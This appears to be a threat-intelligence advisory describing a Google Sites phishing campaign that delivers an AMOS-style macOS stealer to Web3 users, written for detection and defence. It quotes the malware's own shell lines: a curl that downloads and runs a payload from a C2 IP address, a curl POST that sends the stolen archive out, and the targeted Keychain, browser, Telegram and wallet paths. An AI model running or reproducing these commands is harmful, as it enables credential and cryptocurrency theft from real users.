Google Sites Phishing Campaign Delivers AMOS-Variant macOS Stealer (unix32385485) to Web3 Users — Threadlinqs Intelligence
As of 2026-07-18, Google Sites Phishing Campaign Delivers AMOS-Variant macOS Stealer (unix32385485) to Web3 Users is a high-severity malware threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 22 indicators of compromise.
Threat ID: TL-2026-1495 · Severity: HIGH · Status: ACTIVE · Category: MALWARE
A multi-stage social engineering campaign abuses Google Sites to host a fake 'BuilDAO/Builder' community application page targeting Web3 users, then redirects victims to a spoofed OAuth/macOS
SlowMist identified a targeted phishing campaign against Web3 community members that abuses the inherent trust in Google's `sites.google.com` domain to bypass reputation-based URL filtering. The lure is a fake 'BuilDAO/Builder' community-application form styled to mimic a legitimate Google Forms submission page. After a victim submits the form, the campaign chains them into a spoofed 'OAuth 2.0 security verification' page that displays a fabricated `api_error_401` authentication error, socially engineering the user into believing they must manually 're-verify' their identity by running a script.
The page offers two delivery mechanisms for the same payload: a downloadable Apple `.scpt` (AppleScript) file, or a Base64-encoded one-liner intended to be pasted directly into macOS Terminal (a well-established ClickFix-style delivery pattern increasingly used against macOS users in 2025-2026). Both paths converge on the same shell sequence, which fetches the payload from the C2 host, marks it executable, and detaches it from the parent shell:
```
curl -s http://86.54.25.213/d/unix32385485 > /tmp/unix001
chmod +x /tmp/unix001
/tmp/unix001 > /dev/null 2>&1 & disown
```
The payload `unix32385485` is a macOS Universal Mach-O binary (x86_64 + arm64) that obfuscates 104 string blocks in its `__const` section using XOR plus xorshift32-based keystream generation, hindering static string analysis and naive YARA signature matching. On execution it creates a staging directory at `/tmp/lksopo/` and enumerates system metadata via `sw_vers` and `system_profiler`.
Its collection routine is broad and consistent with the AMOS (Atomic macOS Stealer) family, a macOS-focused Malware-as-a-Service sold on Telegram/underground forums for roughly $3,000/month and responsible for a large share of 2025-2026 macOS stealer detections. The sample harvests: login credentials, cookies, and Local Storage/session data from Chrome, Brave, Microsoft Edge, Vivaldi, Opera, Chromium, Arc, Firefox, and Waterfox; the macOS login Keychain database (`~/Library/Keychains/login.keychain-db`); Safari's binary cookie store (`~/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies`); Apple Notes content via AppleScript/`osascript` against the Notes SQLite store (`~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`); and Telegram Desktop session artifacts from `Telegram Desktop/tdata/`, including AES encryption `key_datas` and session-mapping files, enabling full chat-history and account takeover.
Cryptocurrency wallet targeting spans at least 17 named desktop wallet applications: Electrum, Electrum-LTC, Coinomi, Exodus, Atomic, Wasabi, Ledger Live, Ledger Wallet, Monero (GUI/CLI wallet files), Bitcoin Core, Litecoin Core, Dash Core, Electron Cash, Guarda, Dogecoin Core, Trezor Suite, and Sparrow -- reflecting AMOS's broader published capability of targeting 150+ browser-extension wallets and 17 desktop wallets. Given the campaign's explicit Web3/BuilDAO lure, browser-extension wallet Local Storage/LevelDB data (e.g. `atomic/Local Storage/leveldb/`) is a primary objective alongside the desktop wallet directories.
After collection, the malware stages stolen data in `/tmp/lksopo/`, compresses it with `ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip` (preserving macOS resource forks/extended attributes for forensic fidelity to the attacker), and exfiltrates the archive via a single HTTP POST to the same C2 host used for payload delivery, tagged with a `buildid` header (a per-build/campaign identifier: `7ca94f9fa3eb4164ba7e5d41623a458a`) and a `username` header (`night`), allowing the operator to attribute the loot to a specific build or affiliate:
```
curl -X POST -H "buildid: 7ca94f9fa3eb4164ba7e5d41623a458a" -H "username: night" --data-binary @/tmp/lksopo.zip http://86.54.25.213/log
```
The malware then self-cleans with `rm -rf /tmp/lksopo && rm -f /tmp/lksopo.zip`, removing the staging directory and archive to frustrate incid
Target sectors: cryptocurrency, web3, finance, technology, individuals
Target regions: Global
Detections & IOCs
As of 2026-08-17, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 22 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
MALWARE, HIGH, threat intelligence, cybersecurity, T1589, T1583, T1587, T1585, T1566, T1189, T1204, T1059, T1027, T1140
